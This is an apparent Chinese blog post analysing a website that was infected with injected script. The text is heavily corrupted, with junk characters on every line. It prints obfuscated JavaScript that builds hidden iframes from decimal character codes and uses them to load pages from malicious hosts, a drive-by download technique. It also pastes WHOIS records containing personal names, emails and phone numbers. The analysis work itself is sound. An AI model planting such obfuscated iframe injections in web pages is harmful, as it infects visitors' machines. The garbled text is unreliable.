首发在我的博客里面，
@ N@
!Q 'u#c_m! 9 http://www.areway.cn/?p=175 5oe{i/#di F2>W{-H+ . ~a.mT 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
< ZG!w^ \ nUJ)w <script>t=’60,105,102,114,97,109,101,
>:bXw#w] 32,115,114,99,61,104,116,116,112,58,47,47,
WCYVon bg" 102,114,101,101,46,117,45,117,117,117,46,99,
?!.L#]23f 110,47,101,114,114,111,114,46,104,116,109,
% !>@m6JK 32,119,105,100,116,104,61,49,48,48,32,104,
w5+(A_ 101,105,103,104,116,61,48,62,60,47,105,102,
:sS4T&@1= 114,97,109,101,62′;
E{'Y>g B6 t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
a"{b}UP OI,F,4e <script>t=’60,105,102,114,97,109,101,32,115,
j;<s!A#
114,99,61,104,116,116,112,58,47,47,102,114,
]pWn%aGv*Y 101,101,46,117,45,117,117,117,46,99,110,47,
J 1R 5_b 101,114,114,111,114,46,104,116,109,32,119,
2"QcjFW% 105,100,116,104,61,49,48,48,32,104,101,105,
z%; _h - 103,104,116,61,48,62,60,47,105,102,114,97,
lMmP]{.>$ 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
C'; Dc4j document.write(t);</script>
2c'< rkA uovSe4q5q <html xmlns=”
* m8{yh http://www.w3.org/1999/xhtml $WiU oS “>
^KJi |'B <head>
A6 I^`0/ <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
@8Cja. H <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
<M, <|Y*) <title>首页 - 爱生活家庭网
?L| Ai\| 0Q~\1D 9g 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
^)o#/"JA 转换字符串后的大概内容是（谁点击后果自付）：
C {G;G@/7 <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
_n0NE0 QuBA'4ht 查询玉米u-uuu.cn的详细信息：
RNopx3 Domain Name: u-uuu.cn
a`D`v5G t ROID: 20070901s10001s64972306-cn
(+nnX7V?I Domain Status: ok
vW0U~(XlN Registrant Organization: 王雷
ck$> Registrant Name: 王雷
: 7*9W|e
Administrative Email:
czlovexs@126.com 5,BvT>zFY Sponsoring Registrar: 北京万网志成科技有限公司
KP`Pzx Name Server:ns.yovole.com
WQ9VcCY Name Server:ns1.yovole.com
Ri3*au/Q Registration Date: 2007-09-01 17:54
5S ) N&% Expiration Date: 2008-09-01 17:54
zCS& w
~ 最后PING了一下地址 都没有什么….
F9>"1 4 ,&f#=Y 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
'(zP; <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
09= w <script language=”javascript” src=”
_U
o3_us http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script w ^ X@PpP >
t^=S\1"R\ 这个玉米应该有可能是木马作者的：
,uD}1
G<u foafau.info的详细信息：
[[O4_)?el Access to INFO WHOIS information is provided to assist persons in
;3iWV"&_A determining the contents of a domain name registration record in the
JH#p;7; Afilias registry database. The data in this record is provided by
^}UFt L i Afilias Limited for informational purposes only, and Afilias does not
I0N~>SpZ5 guarantee its accuracy. This service is intended only for query-based
iGBHlw;A access. You agree that you will use this data only for lawful purposes
CropHB/t and that, under no circumstances will you use this data to: (a) allow,
)K]<\Q[ enable, or otherwise support the transmission by e-mail, telephone, or
od^o9(.W^ facsimile of mass unsolicited, commercial advertising or solicitations
%"e hZ d0r to entities other than the data recipient’s own existing customers; or
lpjby[S (b) enable high volume, automated, electronic processes that send
k&:~l@?O queries or data to the systems of Registry Operator, a Registrar, or
:|-^et]a8 Afilias except as reasonably necessary to register domain names or
7HJH9@8V modify existing registrations. All rights reserved. Afilias reserves
\0)2 u[7 the right to modify these terms at any time. By submitting this query,
RLO<5L you agree to abide by this policy.
@ cQ
|` Domain ID:D22418703-LRMS
BnG{) \s Domain Name:FOAFAU.INFO
($ !g= 7 Created On:20-Nov-2007 16:05:42 UTC
;)vs=DK:) Last Updated On:20-Nov-2007 16:05:44 UTC
zhh6;>P Expiration Date:20-Nov-2008 16:05:42 UTC
z`YAOhD*h4 Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
) >N=B 2P Status:CLIENT DELETE PROHIBITED
lI3d
_cU Status:CLIENT RENEW PROHIBITED
p::`1 Status:CLIENT TRANSFER PROHIBITED
/PpZ6ne~ [ Status:CLIENT UPDATE PROHIBITED
>ktekO:H Status:TRANSFER PROHIBITED
6ZQ$5PY Registrant ID:GODA-040110615
D 7 7$aCt Registrant Name:liu hong
bR J]avR
Registrant Organization:
^vZu[ m Registrant Street1:beijing
6&btAwvOHx Registrant Street2:
>}r
1A Registrant Street3:
lr[&*v?h Registrant City:beijing
S-79uo Registrant State/Province:
(\4YBaGd Registrant Postal Code:100000
/S9n!H:MT Registrant Country:CN
&-KQ
m20n Registrant Phone:+86.860108888777
`a8 &7 J( Registrant Phone Ext.:
9 1ec^g Registrant FAX:
y(j vl|z[ Registrant FAX Ext.:
,w,)n^ Registrant Email:bbbshiji@163.com
+$R%Vbd Admin ID:GODA-240110615
_@Y17L. Admin Name:liu hong
N::.o+1 Admin Organization:
'EB5 # Admin Street1:beijing
p]6/1&t =" Admin Street2:
w!R J8 Admin Street3:
sh% %U Admin City:beijing
"R[6Q ^vw Admin State/Province:
rUmnv%qTS Admin Postal Code:100000
^ lG^. Admin Country:CN
_:Ov-HIR Admin Phone:+86.860108888777
0Hr)h{!F" Admin Phone Ext.:
9abn6S(XpJ Admin FAX:
LufZ, Admin FAX Ext.:
OQ _wsAA Admin Email:bbbshiji@163.com
$KmE9S e6, Billing ID:GODA-340110615
nz` "f, Billing Name:liu hong
OKCX>'j:S Billing Organization:
[ZETyM` Billing Street1:beijing
'D?sRbJ= Billing Street2:
2'WdH1UrBc Billing Street3:
X'5 +)dj Billing City:beijing
PU%WpI.w Billing State/Province:
X6oY-4O Billing Postal Code:100000
=@k 3*#\ Billing Country:CN
P,n:u'Iwy Billing Phone:+86.860108888777
`(L <Q % Billing Phone Ext.:
e(k$k>? Billing FAX:
WhL 1OG Billing FAX Ext.:
LESF *rh= Billing Email:bbbshiji@163.com
L\^H#:?t Tech ID:GODA-140110615
Ec['k&*7, Tech Name:liu hong
3M{b:|3/q Tech Organization:
s`, . & Tech Street1:beijing
fQ,(, ^!; Tech Street2:
9'! I6;M Tech Street3:
pl.=u0 * Tech City:beijing
<~Tfi*^+ Tech State/Province:
7@i2Mz/eV Tech Postal Code:100000
MM Nz2DEy[ Tech Country:CN
JmVha!<qk Tech Phone:+86.860108888777
;%PdSG=U Tech Phone Ext.:
B'D 4]EB Tech FAX:
\8S HX Tech FAX Ext.:
WR>2t&;E Tech Email:bbbshiji@163.com
,DbT4Ul c Name Server:NS27.DOMAINCONTROL.COM
Vt
U Name Server:NS28.DOMAINCONTROL.COM
sJYs{Wm Name Server:
JOx""R8T5 Name Server:
rVx?Yo1F' Name Server:
:aMp,DfM]P Name Server:
P s{}SZn Name Server:
N+NS \Y5 Name Server:
a<{+
J U5 Name Server:
k x3]A"]>' Name Server:
f%Bm x{Ttq Name Server:
_Y,d|!B#L Name Server:
evHKq }{ Name Server:
2BIOA#@t v eGRwir 接着下载每个文件里面的代码：
]i pltR 7k 一步一步看..
V %Rz(a+c 
pi?U|&.1z 
-\=kd {*B 
pn2_ {8. 
ek4?|!kQD 
@T+pQ)0{{ 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
